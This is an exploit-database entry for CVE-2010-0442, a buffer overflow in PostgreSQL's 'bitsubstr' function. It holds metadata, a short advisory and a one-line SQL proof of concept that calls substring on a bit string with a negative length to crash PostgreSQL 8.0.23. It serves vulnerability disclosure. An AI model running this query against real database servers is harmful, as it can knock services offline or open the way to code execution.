PostgreSQL - 'bitsubstr' Buffer Overflow

Author: Intevydis
type: dos
platform: linux
port: 0
date_added: 2010-01-27
date_updated: 2014-05-29
verified: 1
codes: CVE-2010-0442;OSVDB-62129
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/37973/info

PostgreSQL is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code with elevated privileges or crash the affected application.

PostgreSQL 8.0.23 is vulnerable; other versions may also be affected.


testdb=# select substring(B'101010101010101010101010101010101010
10101010101',33,-15);
↑